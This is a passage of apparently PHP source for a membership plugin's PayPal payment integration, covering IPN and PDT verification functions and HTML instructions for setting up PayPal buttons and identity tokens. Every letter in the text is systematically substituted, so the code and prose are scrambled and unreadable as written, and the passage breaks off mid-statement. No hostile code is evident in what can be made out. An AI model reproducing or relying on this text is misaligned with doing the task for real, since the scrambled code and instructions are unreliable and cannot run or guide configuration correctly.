StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_mrvBsQplrmU)U SoBnlum = Smyxn-QzmUkBoxAh702(S_01$#, SmrvBs)U } BunBxA (xnnBm(S_9b#[QTPMGUmyoxkBDFomQTPMGU]) QFtqUQFtqU xnnBm(S_9b#[QTPMGUmyoxkBDFom_yFnyQTPMGU])) { SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_mrvBsQplrmU)U SoBnlum = Smyxn-QzmUkBoxAh0c#(S_9b#[QTPMGUmyoxkBDFomQTPMGU], S_9b#[QTPMGUmyoxkBDFom_yFnyQTPMGU], SmrvBs)U } oBmlos SoBnlumU } AlsDmxrs kBoxAh0c#(SkFon, SyFny, SmrvBs) { zurEFu StBtEBozBsxlnU xA (Btqmh(SyFny) || nmouBs(SyFny) V== MN) { oBmlos sluuU } xA (VSmrvBs) { oBmlos sluuU } vnrom(SkFon)U FooFh_jFuv_oBDlonxkB(SkFon, AlsDmxrs(QFtqUSx) { Sx = oFjlouBsDrCB(Sx)U })U SurDFu_yFny = tCK(xtqurCB(QTPMGU__QTPMGU, FooFh(SmrvBs, nmomrlqqBo(wnrs_BsDrCB(SkFon)))))U xA (SyFny V= SurDFu_yFny) { oBmlos sluuU } SxmBtn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_xmBtnQplrmU)U SuBkBu = FooFh_nBFoDy(SkFon[QTPMGUqloDyFnBnQTPMGU][P], SxmBtn)U SBtFxu = QTPMGUQTPMGUU SAxonmsFtB = QTPMGUQTPMGUU SuFnmsFtB = QTPMGUQTPMGUU SlnBosFtB = QTPMGUQTPMGUU xA (xnnBm(SkFon[QTPMGUDlnmrtBoQTPMGU][QTPMGUBtFxuQTPMGU])) { SBtFxu = louCBDrCB(SkFon[QTPMGUDlnmrtBoQTPMGU][QTPMGUBtFxuQTPMGU])U } xA (xnnBm(SkFon[QTPMGUDlnmrtBoQTPMGU][QTPMGUAxonmsFtBQTPMGU])) { SAxonmsFtB = louCBDrCB(SkFon[QTPMGUDlnmrtBoQTPMGU][QTPMGUAxonmsFtBQTPMGU])U } xA (xnnBm(SkFon[QTPMGUDlnmrtBoQTPMGU][QTPMGUuFnmsFtBQTPMGU])) { SuFnmsFtB = louCBDrCB(SkFon[QTPMGUDlnmrtBoQTPMGU][QTPMGUuFnmsFtBQTPMGU])U } xA (SAxonmsFtB QFtqUQFtqU SuFnmsFtB) { SlnBosFtB = SAxonmsFtB . QTPMGU QTPMGU . SuFnmsFtBU } SoBmlos = FooFh( QTPMGUmoFsnFDmxrsQTPMGU =QzmU louCBDrCB(SkFon[QTPMGUroCBo_xCQTPMGU]), QTPMGUBtFxuQTPMGU =QzmU SBtFxu, QTPMGUAxonmsFtBQTPMGU =QzmU SAxonmsFtB, QTPMGUuFnmsFtBQTPMGU =QzmU SuFnmsFtB, QTPMGUlnBosFtBQTPMGU =QzmU SlnBosFtB, QTPMGUuBkBuQTPMGU =QzmU louCBDrCB(SuBkBu), QTPMGUFDmxrsQTPMGU =QzmU QTPMGUoBzxnmBoQTPMGU )U oBmlos SoBmlosU } AlsDmxrs kBoxAh702(Sqrnm, SnBDoBm5Bh) { zurEFu StBtEBozBsxlnU SzxkBs_yFny = Sqrnm[QTPMGUmyoxkBDFom_nBDoBmQTPMGU]U xA (VSnBDoBm5Bh || VSzxkBs_yFny || SnBDoBm5Bh V= SzxkBs_yFny || nmouBs(SnBDoBm5Bh) QumU OP) { oBmlos sluuU } SFDmxrs = sluuU xA (Sqrnm[QTPMGUBkBsmQTPMGU] == QTPMGUroCBo.nlDDBnnQTPMGU) { SFDmxrs = QTPMGUoBzxnmBoQTPMGUU } BunBxA (Sqrnm[QTPMGUBkBsmQTPMGU] == QTPMGUroCBo.oBAlsCQTPMGU || Sqrnm[QTPMGUBkBsmQTPMGU] == QTPMGUroCBo.nlEnDoxqmxrs_DFsDBuuBCQTPMGU) { SFDmxrs = QTPMGUDFsDBuQTPMGUU } SoBmlos = FooFh( QTPMGUmoFsnFDmxrsQTPMGU =QzmU @xsmkFu(Sqrnm[QTPMGUroCBo_xCQTPMGU]), QTPMGUBtFxuQTPMGU =QzmU Sqrnm[QTPMGUDlnmrtBoQTPMGU][QTPMGUBtFxuQTPMGU], QTPMGUFDmxrsQTPMGU =QzmU SFDmxrs )U oBmlos SoBmlosU } AlsDmxrs srmxAh() { } } DuFnn 3BtEBo9BsxlndFom0Fh0Fu BimBsCn 3BtEBo9BsxlndFom { AlsDmxrs xsnmolDmxrsn() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_01$#[QplrmUqFhqFu_mrvBsQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqFhqFu_mrvBsQplrmU, moxt(S_01$#[QplrmUqFhqFu_mrvBsQplrmU]))U } SnBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqFhqFu_nBDoBmQplrmU)U SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SAxonm4BkBu = oBnBm(SuBkBun)U SDyBDvrlm = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SnBDoBm)U WQzmUY      QumUyMQzmU0Fh0Fu 0FhtBsmQumU/yMQzmUYY      QumUCxk nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY      QumUqQzmU7s roCBo mr FDDBqm qFhtBsmn lnxsz 0Fh0Fu, hrl tlnm:QumU/qQzmUY      Y      QumUlu nmhuB=QplrmUuxnm-nmhuB:CxnDU qFCCxsz-uBAm:NKqiUQplrmUQzmUY         QumUuxQzmUBsFEuB QFtqUplrmU702QFtqUplrmU FsC QFtqUplrmU0c#QFtqUplrmU xs hrlo 0Fh0Fu FDDrlsmQumU/uxQzmUY         QumUuxQzmUBsmBo hrlo QFtqUplrmU0c# mrvBsQFtqUplrmU rs myxn qFzBQumU/uxQzmUY         QumUuxQzmUDoBFmB F qFhtBsm Elmmrs jxmy myB QFtqUplrmUxmBt 7cQFtqUplrmU, QFtqUplrmUmyFsv hrl ;	4QFtqUplrmU, FsC QFtqUplrmUFCkFsDBC kFoxFEuBnQFtqUplrmU myFm jB qorkxCB mr hrlQumU/uxQzmUY      QumU/luQzmUYY      QumUqQzmU7m xn kBoh xtqromFsm myFm hrl Aruurj BFDy nmBq mr BsnloB hrlo qFhtBsm Elmmrs xn jrovxsz qorqBouh.QumUEo /QzmUY      ?B Funr yxzyuh oBDrttBsC myFm hrl ols F mBnm qloDyFnB (yFkB F AoxBsC Elh Aort hrl FsC zr myorlzy myB DyBDvrlm qorDBnn) mr tFvB nloB BkBohmyxsz xn olssxsz ntrrmyuh.QumU/qQzmUYY      QumUyMQzmU$mBq O: drsAxzloB 0Fh0Fu $BmmxsznQumU/yMQzmUYY      QumUEurDvplrmBQzmUY         QumUqQzmUQumUxQzmU(3BtEBo 9Bsxln oBplxoBn hrl mr yFkB F 0Fh0Fu elnxsBnn fDDrlsm. 7A hrl rsuh yFkB F 0Fh0Fu 0BonrsFu fDDrlsm myBs hrl jxuu sBBC mr DuxDv QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.qFhqFu.Drt/Dzx-Exs/jBEnDoWDtC=_oBzxnmoFmxrs-olsQplrmUQzmUlqzoFCB hrlo FDDrlsmQumU/FQzmU FsC DyrrnB elnxsBnn FDDrlsm.)QumU/xQzmUQumU/qQzmUYY         QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU QumUEQzmUbsFEuB 0FhtBsm cFmF #oFsnABo:QumU/EQzmU 4rzxs mr QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.qFhqFu.DrtQplrmUQzmUhrlo 0Fh0Fu fDDrlsmQumU/FQzmU DuxDv rs QumUDrCBQzmU0orAxuBQumU/DrCBQzmU, myBs QumUDrCBQzmU3h $Buuxsz #rrunQumU/DrCBQzmU, myB QumUDrCBQzmU$Buuxsz 1suxsBQumU/DrCBQzmU nBDmxrs, FsC QumUDrCBQzmU?BEnxmB 0oBABoBsDBn.QumU/DrCBQzmUQumUEo /QzmU         Y         7A hrl CrsQTPMGUm yFkB F QumUDrCBQzmU0orAxuBQumU/DrCBQzmU mFE, DuxDv myB QFtqUplrmUyBFCQFtqUplrmU xDrs rs myB mrq oxzym, QumUDrCBQzmU0orAxuB FsC $BmmxsznQumU/DrCBQzmU FsC myBs QumUDrCBQzmU?BEnxmB 0oBABoBsDBn.QumU/DrCBQzmUQumUEo /QzmUY         duxDv QFtqUplrmU;qCFmBQFtqUplrmU rs myB oxzym.QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU $Bm QumUDrCBQzmUflmr-	BmlosQumU/DrCBQzmU mr QumUDrCBQzmU1sQumU/DrCBQzmU FsC DuxDv QumUDrCBQzmU$FkBQumU/DrCBQzmU EBAroB Drsmxslxsz.QumUEo /QzmUY         7A myB 	Bmlos ;	4 xn EuFsv, nBm xm mr: QumUDrCBQzmUQumUWqyq BDyr nxmB_lou()U WQzmUQumU/DrCBQzmU (myxn ;	4 CrBn srm tFmmBo, xm rsuh sBBCn mr qrxsm mr F a;2d#712f4 jBEnxmB)QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU $Bm QumUDrCBQzmU0FhtBsm cFmF #oFsnABoQumU/DrCBQzmU mr QumUDrCBQzmU1sQumU/DrCBQzmU FsC DuxDv QumUDrCBQzmU$FkBQumU/DrCBQzmU FzFxs. QumUxQzmU2rmyxsz BunB sBBCn mr EB DyFszBC rs myxn qFzB.QumU/xQzmUQumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU QumUEQzmU2Bim, bsFEuB 7snmFsm 0FhtBsm 2rmxAxDFmxrsn:QumU/EQzmU 7s 0Fh0Fu, zr mr QumUDrCBQzmU0orAxuBQumU/DrCBQzmU, myBs QumUDrCBQzmU3h $Buuxsz #rrunQumU/DrCBQzmU, FsC QumUDrCBQzmU7snmFsm 0FhtBsm 2rmxAxDFmxrsnQumU/DrCBQzmU.QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 7A 702 xn mlosBC rAA, DuxDv myB hBuurj Elmmrs myFm nFhn QumUDrCBQzmU#los 702 1sQumU/DrCBQzmU.QumUEo /QzmUY         duxDv QumUDrCBQzmUbCxm $BmmxsznQumU/DrCBQzmU, FsC xA myB QumUDrCBQzmU2rmxAxDFmxrs ;	4QumU/DrCBQzmU xn EuFsv, BsmBo QumUDrCBQzmUQumUWqyq BDyr nxmB_lou()U WQzmUQumU/DrCBQzmUQumUEo /QzmUY         (1sDB FzFxs, myxn ;	4 xn srm xtqromFsm, xm rsuh sBBCn mr EB Fs FCCoBnn mr F AlsDmxrsxsz jBEnxmB.)QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU drsAxot myFm myB rqmxrs Aro QumUDrCBQzmU	BDBxkB 702 tBnnFzBn (bsFEuBC)QumU/DrCBQzmU xn DyBDvBC FsC DuxDv myB QumUDrCBQzmU$FkBQumU/DrCBQzmU Elmmrs mr nFkB hrlo DyFszBn.QumU/uxQzmUYY         QumU/ruQzmUY      QumU/EurDvplrmBQzmUYY      QumUyMQzmU$mBq N: 0FnmB QumUWqyq BDyr Dyo(HG)U WQzmUrlo QFtqUplrmU7CBsmxmh #rvBsQFtqUplrmU Aort 0Fh0Fu eBurjQumU/yMQzmUYY      QumUEurDvplrmBQzmUY         QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 7s hrlo 0Fh0Fu FDDrlsm, zr mr: QumUDrCBQzmU0orAxuBQumU/DrCBQzmU, QumUDrCBQzmU3h $Buuxsz #rrunQumU/DrCBQzmU, myB QumUDrCBQzmU$Buuxsz 1suxsBQumU/DrCBQzmU nBDmxrs, myBs QumUDrCBQzmU?BEnxmB 0oBABoBsDBnQumU/DrCBQzmU.QumUEo /QzmUY         7A hrl CrsQTPMGUm yFkB F QumUDrCBQzmU0orAxuBQumU/DrCBQzmU mFE, DuxDv myB QFtqUplrmUyBFCQFtqUplrmU xDrs rs myB mrq oxzym, QumUDrCBQzmU0orAxuB FsC $BmmxsznQumU/DrCBQzmU FsC myBs QumUDrCBQzmU?BEnxmB 0oBABoBsDBn.QumU/DrCBQzmUQumUEo /QzmUY         duxDv QFtqUplrmU;qCFmBQFtqUplrmU rs myB oxzym.QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU ;sCBo myB 0FhtBsm cFmF #oFsnABo nBDmxrs, xm nyrluC yFkB myB mBim QumUDrCBQzmU7CBsmxmh #rvBs:QumU/DrCBQzmU AruurjBC Eh F nBoxBn rA uBmmBon FsC sltEBon. drqh myFm nqBDxFu DrCB b>fd#4QumUWqyq BDyr Dyo(HG)U WQzmU Eh yxzyuxzymxsz xm jxmy hrlo trlnB. eB nloB srm mr nBuBDm myB BiFDm mBim nFhn QFtqUplrmU7CBsmxmh #rvBs:QFtqUplrmU Elm BkBohmyxsz CxoBDmuh FAmBo xm.QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU #yBs oxzym DuxDv myB mBim Eri EBurj, FsC DyrrnB QFtqUplrmU0FnmBQFtqUplrmU mr quFDB hrlo 0c# 7CBsmxmh #rvBs.QumU/uxQzmUY         QumU/ruQzmUYY         QumUuFEBuQzmUQumUEQzmU0c# 7CBsmxmh #rvBs:QumU/EQzmU Y         QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqFhqFu_mrvBsQplrmU)): WQzmUY         QumUF yoBA=QplrmUTQplrmU rsDuxDv=QplrmUw&lBoh(QTPMGU.qFhqFu_mrvBsQTPMGU).nyrj()U w&lBoh(myxn).yxCB()U oBmlos AFunBUQplrmUQzmUduxDv mr $yrjQumU/FQzmU Y         QumUWqyq BsCxAU WQzmUYY         QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUqFhqFu_mrvBsQplrmU DuFnn=QplrmUqFhqFu_mrvBsQplrmU QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqFhqFu_mrvBsQplrmU)): WQzmUnmhuB=QplrmUCxnquFh:srsBUQplrmUQumUWqyq BsCxAU WQzmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqFhqFu_mrvBsQplrmU))U WQzmUQplrmU nxgB=QplrmUHPQplrmU /QzmUY         QumU/uFEBuQzmU QumUxsqlm QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqFhqFu_mrvBsQplrmU)): WQzmUnmhuB=QplrmUCxnquFh:srsBUQplrmUQumUWqyq BsCxAU WQzmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU kFulB=QplrmU$FkB 0c# 7CBsmxmh #rvBsQplrmU /QzmUY      QumU/EurDvplrmBQzmUYY      QumUyMQzmU$mBq M: doBFmB F elmmrs xs 0Fh0Fu (elh 2rj ro $lEnDoxqmxrs)QumU/yMQzmUYY      QumUEurDvplrmBQzmUY         QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU doBFmB F Elmmrs myFm hrlo DlnmrtBon DFs DuxDv rs mr qFh hrl trsBh FsC zFxs FDDBnn mr hrlo nxmB.QumUEo /QzmUY         7s QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.qFhqFu.DrtQplrmUQzmU0Fh0FuQumU/FQzmU, 9r mr QumUDrCBQzmU3BoDyFsm $BokxDBnQumU/DrCBQzmU, myBs QumUDrCBQzmUdoBFmB 0FhtBsm elmmrsn aro QumUWqyq BDyr Dyo(HG)U WQzmUrlo ?BEnxmBQumU/DrCBQzmU FsC myBs DyrrnB mr DoBFmB F QumUDrCBQzmUelh 2rjQumU/DrCBQzmU Elmmrs (Aro nxszuB qFhtBsmn) ro F QumUDrCBQzmU$lEnDoxqmxrsQumU/DrCBQzmU Elmmrs Aro oBDlooxsz qFhtBsmn.QumUEo /QzmUY         7A hrl CrsQTPMGUm yFkB F QumUDrCBQzmU3BoDyFsm $BokxDBnQumU/DrCBQzmU mFE, DuxDv myB QumUDrCBQzmU#rrunQumU/DrCBQzmU mFE, QumUDrCBQzmU0Fh0Fu elmmrsnQumU/DrCBQzmU, QumUDrCBQzmUdoBFmB F elmmrsQumU/DrCBQzmU, myBs QumUDrCBQzmUdoBFmB 2Bj elmmrs.QumU/DrCBQzmUY         QumU/uxQzmUY         QumUuxQzmU;sCBo QumUDrCBQzmUdyrrnB F elmmrs #hqBQumU/DrCBQzmU, DyrrnB QumUDrCBQzmUelh 2rjQumU/DrCBQzmU Aro F nxszuB qFhtBsm nxmB ro QumUDrCBQzmU$lEnDoxqmxrsQumU/DrCBQzmU Aro F qFhtBsm quFs ro Drsmxslxmh nxmB.QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU ;sCBo QumUDrCBQzmU7mBt 2FtBQumU/DrCBQzmU, mhqB xs myB sFtB rA myB qorClDm ro tBtEBonyxq DlnmrtBon FoB Elhxsz, nlDy Fn: QumUDrCBQzmUQumUWqyq BDyr zBm_rqmxrs(QplrmUsFtBQplrmU)U WQzmU fDDBnnQumU/DrCBQzmUQumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU ;sCBo QumUDrCBQzmU7mBt 7cQumU/DrCBQzmU (myxn xn uFEBuBC QumUDrCBQzmU$lEnDoxqmxrs 7cQumU/DrCBQzmU jyBs DoBFmxsz F oBDlooxsz Elmmrs), hrl jxuu sBBC mr Drqh myB 2;3eb	 Aort myxn qFzB tFmDyxsz myB 4b!b4 hrl jFsm mr qorkxCB FDDBnn mr. aro BiFtquB, xA hrl jFsm mr zoFsm FDDBnn mr myB QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(SAxonm4BkBu-QzmUuBkBu_sFtB)U WQzmUQumU/DrCBQzmU uBkBu, hrl jrluC BsmBo QumUDrCBQzmUQumUWqyq BDyr xsmkFu(SAxonm4BkBu-QzmU7c)U WQzmUQumU/DrCBQzmU Fn hrlo ElmmrsQTPMGUn 7mBt 7c.QumU/DrCBQzmUQumU/uxQzmUYY         QumUqQzmUQumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:LPPqiUQplrmUQzmUY         QumUmyBFCQzmUY         QumUmoQzmUY            QumUmy nDrqB=QplrmUDruQplrmUQzmU4BkBu 2FtBQumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU7mBt 7c / $lEnDoxqmxrs 7cQumU/myQzmUY         QumU/moQzmUY         QumU/myBFCQzmUYY         QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY         QumUmoQzmUY            QumUmCQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/mCQzmUY            QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQumU/mCQzmUY         QumUWqyq BsCAroBFDyU WQzmUY         QumU/mFEuBQzmUQumU/qQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 7A hrl FoB DoBFmxsz F elh 2rj Elmmrs, BsmBo myB Ftrlsm hrl jFsm mr DyFozB Aro FDDBnn xs myB QumUDrCBQzmU0oxDBQumU/DrCBQzmU nBDmxrs, nlDy Fn QumUDrCBQzmUOP.PPQumU/DrCBQzmU.QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 7A hrl FoB DoBFmxsz F $lEnDoxqmxrs Elmmrs, hrl DFs nBm hrlo qoxDB jyBoB lsCBo QumUDrCBQzmUexuuxsz ftrlsm bFDy dhDuBQumU/DrCBQzmU, myxn xn myB Ftrlsm mr DyFozB jxmy BFDy Exuuxsz nlDy Fn QumUDrCBQzmUOP.PPQumU/DrCBQzmU. ;sCBo QumUDrCBQzmUexuuxsz dhDuBQumU/DrCBQzmU, DyrrnB yrj rAmBs hrl jFsm mr oBExuu hrlo DlnmrtBon, nlDy Fn BkBoh QFtqUplrmUMP CFhnQFtqUplrmU ro BkBoh QFtqUplrmUO trsmyQFtqUplrmU. axsFuuh, lsCBo QumUDrCBQzmUfAmBo 8rj 3Fsh dhDuBn $yrluC exuuxsz $mrqWQumU/DrCBQzmU DyrrnB QumUDrCBQzmU2BkBoQumU/DrCBQzmU mr DrsmxslB qFhtBsmn AroBkBo ro DyrrnB F sltEBo, Aro BiFtquB QFtqUplrmUKQFtqUplrmU mr Exuu K mxtBn FsC myBs nmrq.QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU ?B yxzyuh oBDrttBsC myFm xs myB QumUDrCBQzmU$mBq N: #oFDv 7skBsmroh (rqmxrsFu)QumU/DrCBQzmU nBDmxrs, hrl uBFkB QumUDrCBQzmU$FkB elmmrs Fm 0Fh0FuQumU/DrCBQzmU DyBDvBC.QumU/uxQzmUY         QumU/ruQzmUY      QumU/EurDvplrmBQzmUYY      QumUyMQzmU$mBq L: $Bm myB QFtqUplrmU#yFsv QumUWqyq BDyr Dyo(HG)U WQzmUrl ;	4QFtqUplrmU rA QumUWqyq BDyr Dyo(HG)U WQzmUrlo elmmrsQumU/yMQzmUYY      QumUEurDvplrmBQzmUY         QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU duxDv rs QumUDrCBQzmU$mBq M: dlnmrtxgB fCkFsDBC aBFmloBn (rqmxrsFu)QumU/DrCBQzmU rs 0Fh0Fu nDoBBs mr vBBq zrxsz.QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU QumUEQzmUaxsxny dyBDvrlm:QumU/EQzmU funr DyBDv myB Eri uFEBuBC QumUDrCBQzmU#FvB dlnmrtBon #r #yxn ;	4 ?yBs #yBh axsxny dyBDvrlmQumU/DrCBQzmUQumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU drqh myFm ;	4 mr hrlo 0Fh0Fu Elmmrs DoBFmxrs nDoBBs Eh yxzyuxzymxsz xm (DuxDv FsC yruC Crjs), EB nloB srm mr yxzyuxzym Fsh nqFDBn ro EuFsv FoBFn, oxzym DuxDv FsC drqh, myBs njxmDy EFDv mr 0Fh0Fu FsC 0FnmB.QumU/uxQzmUYY         QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUY         QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_DyBDvrlmQplrmU xC=QplrmUtBtEBozBsxln_DyBDvrlmQplrmU Drun=QplrmUJPQplrmU orjn=QplrmUNQplrmU DuFnn=QplrmUDrCBQplrmU nmhuB=QplrmUArsm-nxgB:OHqiU Arsm-jBxzym:EruCUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDyBDvrlm)U WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY         QumUxsqlm nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_DyBDvrlmQTPMGU).nBuBDm()U oBmlos AFunBUQplrmU kFulB=QplrmU$BuBDm fuuQplrmU /QzmUY         QumU/qQzmUYY         QumU/ruQzmUYY      QumU/EurDvplrmBQzmUYY      QumUyMQzmU$mBq K: 0FnmB myB drCB eBurj xs myB QFtqUplrmUfCC fCkFsDBC !FoxFEuBnQFtqUplrmU axBuCQumU/yMQzmUYY      QumUEurDvplrmBQzmUY      QumUqQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrlQTPMGUoB Futrnm AxsxnyBC DoBFmxsz hrlo qFhtBsm Elmmrs.QumU/qQzmUY      Y      QumUqQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU fm myB kBoh Ermmrs rA myB qFzB, DyBDv myB QumUDrCBQzmUfCC fCkFsDBC !FoxFEuBnQumU/DrCBQzmU DyBDvEri, FsC xs myB Eri EBurj xm, qFnmB xs myxn AxsFu Exm rA DrCB:QumU/qQzmUY      QumU/EurDvplrmBQzmUYY      QumUq Fuxzs=QplrmUDBsmBoQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUY      QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_kFoxFEuBnQplrmU xC=QplrmUtBtEBozBsxln_kFoxFEuBnQplrmU  Drun=QplrmUIPQplrmU orjn=QplrmUMQplrmU DuFnn=QplrmUDrCBQplrmU nmhuB=QplrmUArsm-nxgB:OHqiU Arsm-jBxzym:EruCUQplrmUQzmUot=NQumUWqyq BDyr Dyo(OP)U WQzmUsrmxAh_lou=QumUWqyq BDyr SDyBDvrlmU WQzmUQumUWqyq BDyr Dyo(OP)U WQzmUoBmlos=QumUWqyq BDyr SDyBDvrlmU WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY      QumUxsqlm nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_kFoxFEuBnQTPMGU).nBuBDm()U oBmlos AFunBUOQplrmU kFulB=QplrmU$BuBDm fuuQplrmU /QzmUY      QumU/qQzmUYY      QumUEurDvplrmBQzmUY      QumUqQzmU0uBFnB tFvB nloB myFm hrl nBuBDm, Drqh FsC qFnmB Fuu myoBB uxsBn FErkB, xsmr hrlo 0Fh0Fu Elmmrs, jxmy sr BimoF nqFDBn FshjyBoB.QumU/qQzmUY      QumU/EurDvplrmBQzmUYY      QumUyMQzmU$mBq J: drqh myB elmmrs drCB Aort 0Fh0Fu FsC 0FnmB 7smr QumUWqyq BDyr Dyo(HG)U WQzmUrlo $FuBn 4BmmBoQumU/yMQzmUYY      QumUEurDvplrmBQzmUY      QumUqQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU duxDv QumUDrCBQzmUdoBFmB elmmrsQumU/DrCBQzmU FsC hrl nyrluC EB mFvBs mr F sBj nDoBBs jyBoB hrl FoB qoBnBsmBC jxmy nqBDxFu DrCB mr quFDB rs hrlo jBEnxmB mr FDDBqm qFhtBsmn.QumU/qQzmUYY      QumUqQzmU?B yxzyuh nlzzBnm hrl DuxDv myB QumUDrCBQzmUbtFxuQumU/DrCBQzmU mFE mr zoFE F nxtquB uxsv myFm hrl DFs quFDB rs hrlo jBE qFzBn. ?B lnB QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.qFqBomBtquFmB.DrtQplrmUQzmU0FqBo #BtquFmBQumU/FQzmU mr qoBnBsm nFuBn uBmmBon mr DlnmrtBon.QumU/qQzmUY      QumU/EurDvplrmBQzmUYY      QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB $BmmxsznQplrmU /QzmUQumU/qQzmUY      QumU/CxkQzmUY      QumUWqyqY } AlsDmxrs kBoxAh() { zurEFu StBtEBozBsxlnU SxsAr = sluuU xA (xnnBm(S_9b#[QplrmUmiQplrmU])) { SxsAr = Smyxn-QzmUkBoxAh0c#(S_9b#[QplrmUmiQplrmU], StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqFhqFu_mrvBsQplrmU))U } BunBxA (xnnBm(S_01$#[QplrmUqFhBo_BtFxuQplrmU])) { SxsAr = Smyxn-QzmUkBoxAh702(S_01$#)U } SmoFsnFDmxrs = sluuU xA (xnnBm(SxsAr[QplrmUnlEnDo_xCQplrmU])) { SmoFsnFDmxrs = SxsAr[QplrmUnlEnDo_xCQplrmU]U } BunBxA (xnnBm(SxsAr[QplrmUqFoBsm_mis_xCQplrmU])) { SmoFsnFDmxrs = SxsAr[QplrmUqFoBsm_mis_xCQplrmU]U } BunBxA (xnnBm(SxsAr[QplrmUmis_xCQplrmU])) { SmoFsnFDmxrs = SxsAr[QplrmUmis_xCQplrmU]U } SnmFmln = sluuU xA (xnnBm(SxsAr[QplrmUqFhtBsm_nmFmlnQplrmU])) { SnmFmln = SxsAr[QplrmUqFhtBsm_nmFmlnQplrmU]U } BunBxA 